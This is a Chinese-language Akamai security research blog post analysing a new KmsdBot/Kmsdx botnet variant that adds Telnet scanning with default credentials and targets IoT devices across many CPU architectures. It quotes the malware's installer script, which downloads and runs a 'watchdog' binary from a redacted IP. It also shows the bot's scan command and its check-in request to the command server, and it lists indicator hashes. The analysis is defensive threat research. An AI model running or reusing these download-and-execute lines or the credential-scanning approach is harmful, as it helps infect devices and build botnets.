需要云计算吗? 即刻开始体验

Kmsdx 二进制代码更新,物联网环境成为 KmsdBot 攻击目标

Larry Cashdollar

寫於

Larry Cashdollar

August 15, 2023

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。

持续活跃的 KmsdBot 恶意软件攻击表明,物联网设备在互联网上仍然普遍存在且易受攻击,这使它们在攻击者构建受感染系统网络时成为极具吸引力的目标。

编辑和内容补充:Tricia Howard

执行摘要

  • Akamai 安全情报响应团队 (SIRT) 一直在跟踪 KmsdBot 恶意软件攻击活动,并且发现了一种以物联网 (IoT) 设备为目标的更新版 Kmsdx 二进制代码。

  • 这种二进制代码现在还增加了对 Telnet 扫描的支持,并且支持更多的 CPU 架构,因此其攻击能力和攻击面都得到了扩展。

  • 从 2023 年 7 月中旬起,我们观察到了这些更新的功能。

  • 该恶意软件的攻击目标包括私有游戏服务器、云托管服务提供商以及某些政府和教育机构。

  • 它的存在和活动表明,易受攻击的物联网设备将继续构成互联网上的重大威胁,因此迫切需要采取常规化的安全措施并发布定期更新。

猜猜是哪种攻击又卷土重来了?

从 2022 年 11 月起,Akamai SIRT 就一直在跟踪 Kmsdx 僵尸网络攻击活动 ,并于近期观察到了该恶意软件的新演化版本。这次我们发现了一种更倾向于攻击物联网设备的更新版 Ksmdx 二进制代码,与以前的版本相比,它的功能得到了显著扩展。

随着物联网成为新增攻击目标,我们有机会深入了解攻击者的行为方式以及整体形势。尽管物联网已存在了多年,并且出现过多次大规模物联网驱动的分布式拒绝服务 (DDoS) 攻击,这一新的演变仍然表明物联网存在重大风险。

在本文中,我们将介绍关于该二进制代码的新变化及其攻击手段。此外,我们还将讨论这一演变所造成的影响。

KmsdBot 攻击锁定物联网

我们对 KmsdBot 的研究历程可谓一波三折:从 最初发现 ,到创建者 意外造成其崩溃,再到 Akamai SIRT 模拟其命令和控制 (C2)。我们一直在研究这种不断演变的恶意软件,发现它出现了第四个版本:更新版 Kmsdx 二进制代码。

这种二进制代码的作用是扫描开放式 SSH 端口的随机 IP 地址,并尝试使用从 C2 服务器中下载的密码列表来登录系统。

该二进制代码在更新之后,加入了对 Telnet 扫描以及验证合法 Telnet 服务的支持。KmsdBot 二进制代码清单经过扩展,目前涵盖物联网设备常用的更多 CPU 架构。在 关于这种恶意软件的第一篇博客文章 中,我们已经表示未来会有这种可能性,因为 FTP 服务器的目录结构意味着将会支持更多 CPU 架构。

在该示例中,似乎是通过确定端口 23 上的初始连接是否接收到任何内容来检查有效的 Telnet 服务。研究显示,它会检查端口 23 上的侦听内容是不是有效的 Telnet 服务并呈现提示,而不仅仅是断开连接。

图 1 展示了生成的伪代码,其中的 main_isitfake 在扫描 Telnet 的 main 函数内被调用。

图 1 展示了生成的伪代码,其中的 main_isitfake 在扫描 Telnet 的 main 函数内被调用。 图 1:在生成的伪代码中,main_telnet() 会调用 main_isitfake()

如果检查失败,则会在此终止。但如果检查通过(返回 false),则会继续运行感染攻击载荷。

这样的 IP 扫描看似简单,但实际上是比较深入的(图 2)。这种合法性检查成为了一条线索,引导我们开始调查以物联网设备作为攻击目标的可能性。 有些物联网设备具有 Telnet 侦听功能,并且配置了访问控制列表,可以在发现 IP 地址并非来自 RFC 1918 地址空间时断开连接。 

如果您不熟悉 RFC 1918,它的标题是“私有互联网地址分配”,可以指定用于内部网络的 IP 地址范围。例如,常用于家庭网络的 IP 地址范围为 192.168.1.0/24 和 192.168.0.0/24。

这种 IP 扫描虽然简单,但实际上是比较深入的(图 2)。 图 2:添加了处理 Telnet 扫描的额外代码

与 SSH 扫描器类似,Telnet 扫描器会调用一个生成随机 IP 地址的函数。随后,它会尝试使用该 IP 地址连接至端口 23。Telnet 扫描器不仅仅会决定是否侦听端口 23,还会验证接收缓冲区中是否包含数据。通过反编译的二进制代码(图 3),我们成功地生成了这段伪代码,它显示了如何检查以发现包含数据(非空)的缓冲区。

通过反编译的二进制代码(图 3),我们成功地生成了这段伪代码,它显示了如何检查以发现包含数据(非空)的缓冲区。 图 3:显示缓冲区检查通信流控制的伪代码

main 包:/root/scan

文件:main.go

main 行:11 至 48 (37)

scanner 行:48 至 68 (20)

文件:pma.go

checkpma 行:13 至 79 (66)

checkpmafunc1 行:68 至 72 (4)

check 行:79 至 114 (35)

文件:ssh.go

sshcheck 行:15 至 205 (190)

scan 行:205 至 227 (22)

scanfunc1 行:218 至 226 (8)

文件:telnet.go

scantelnet 行:11 至 41 (30)

scantelnetfunc1 行:26 至 34 (8)

telnet 行:41 至 85 (44)

isitfake 行:85 至 120 (35)

文件:utils.go

randomIP 行:31 至 49 (18)

portopen 行:49 至 82 (33)

newpassword 行:82 至 92 (10)

sendreq 行:92 至 104 (12)

optimaltimeout 行:104 至 119 (15)

nolimits 行:119 至 127 (8)

osname 行:127 至 184 (57)

getlistofdata 行:184 至 217 (33)

choosedifficultyport 行:217 至 245 (28)

workername 行:245 至 271 (26)

randomwallet 行:271 至 274 (3)

图 4:redress 工具输出,显示了为支持扫描 Telnet 服务而添加的代码

更新的影响

尽管 KmsdBot 的某些更新成功率并不高,但这一次似乎成效卓著。除了增加扫描检查功能之外,现在支持的架构也多了不少。它不再像以前那样只能支持 Winx86、Arm64、mips64 和 x86_64,正如安装脚本 ftp1.sh(图 5)中所示,现在增加的架构增加了很多。

  #/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog

图 5:显示了所支持架构的 kmsd 安装脚本

尽管 kmsd 早在 2022 年 11 月就已经出现,但这种扫描 Telnet 合法性的功能是最近才增加的。根据我们的爬虫程序跟踪日志记录,扫描 Telnet 服务开始于 2023 年 7 月 16 日。

寻找攻击对象

telnet.txt(图 6)就是要下载的文件名称,其中包含多种应用程序的凭据列表。通过查看日志,我们发现了各种文件名,例如 app、euro、euro2、euro3、euro4、lilstat、stats 和 users。 这些文件包含不同应用程序的不同凭据。例如,“app”包含可尝试用于 Hadoop、Oracle、Elasticsearch 等应用程序的登录凭据,而“euro”文件则包含 TeamSpeak、CentOS、Ubuntu 的凭据和其他登录组合。

!scan c2_ipadddress telnet telnet.txt kthread watchdog

图 6:用于下载凭据并启动扫描的爬虫程序

如图 7 中所示,该文本文件包含一些相对较弱的常用密码及其组合,例如,只是大小写不一样的相同单词。列出的凭据看上去可能是无效的:它们非常简单、保护力度极弱,应该没人会用。

但是,如果从物联网的角度来看待,就非常合理了。许多物联网设备都保留了默认凭据;实际上,很多缺乏技术思维的人甚至都不知道这些凭据是 可以 更改的。

如图 6 中所示,该文本文件包含一些相对较弱的常用密码及其组合,例如,只是大小写不一样的相同单词。 图 7:包含已下载凭据的部分列表存储在 telnet.txt 中

脱离以上爬虫程序命令来看,命令行 ./ksmdx telnet telnet.txt kthread watchdog 会导致 ksmdx 二进制代码下载 Telnet 凭据的列表,并开始扫描 Telnet 服务的随机 IP 地址。随后,扫描器会向端口 45833 发送一个 POST 请求,称为“Bruh Started:”(图 8),用于向 C2 服务器报告扫描已开始。 

  POST / HTTP/1.1
  Host: xxx.xxx.xxx.xxx:45833
  User-Agent: Go-http-client/1.1
  Content-Length: 14
  Content-Type: text/plain
  Accept-Encoding: gzip

  Bruh Started:

图 8:提醒攻击者 Telnet 扫描已开始的 POST 请求

攻击目标的变化

一如继往,大多数僵尸网络攻击仍然是以私有游戏服务器和云托管服务提供商为目标;但是,每一轮 kmsd 都会有少数目标不在这一范围之内。这次,受到攻击的是几个罗马尼亚政府网站和一些西班牙大学。

攻击目标的这一变化其实符合 kmsd 背后的攻击者行为模式,毕竟这很可能是一种僵尸网络租用服务。这些攻击的目标是端口 80 和 443,使用的是 HTTP POST 请求,而“bigdata”攻击仍然是首选的攻击手段。

威胁指标

66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh

718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386

1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64

50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm

812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64

542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips

184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64

b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le

b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle

b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64

c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le

c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x

d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx

cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php

803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh

733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe

结论

持续活跃的 KmsdBot 恶意软件攻击表明,物联网设备在互联网上仍然普遍存在且易受攻击,这使它们在攻击者构建受感染系统网络时成为极具吸引力的目标。

从技术角度来看,Telnet 扫描功能的增加意味着僵尸网络的攻击面得到了扩展,从而使其能够以范围更广泛的设备作为攻击目标。此外,随着该恶意软件的进化以及增加对更多 CPU 架构的支持,它对连接互联网的设备安全性也构成了持续威胁。这一攻击范围的扩展也证明了该僵尸网络已取得成功:如果它没有效果,攻击者就不会费时费力地频繁更新(虽然他们在某次更新中意外造成了崩溃)。

从个人角度来看,这一发现突显了强有力的安全措施及定期更新的必要性,这样才能实施有效保护,抵御此类攻击。此外,还需要加强面向普通大众或家庭的宣传,让他们更多地了解物联网及其带来的威胁。这样的事例不胜枚举:一台普普通通的冰箱很容易就会被动卷入一场 DDoS 攻击,可能连其主人都不知道攻击已然发生。

关注最新动态

Akamai SIRT 的目标之一是分析和记录 KmsdBot 等僵尸网络的演变,并将我们的观察结论公之于众。敬请关注我们的 Twitter,实时查看我们的最新安全研究。



Larry Cashdollar

寫於

Larry Cashdollar

August 15, 2023

Larry W. Cashdollar 从事安全领域漏洞研究员工作已经超过 18 年,目前是 Akamai Technologies 安全事件响应团队的成员。他曾在南缅因大学学习计算机科学专业。Larry 记录了超过 150 个 CVE,曾经在 BSides Boston、OWASP Rhode Island 和 Defcon 上发言,介绍自己的研究成果。在闲暇时间,他喜欢户外运动和重新制作迷你自行车的发动机。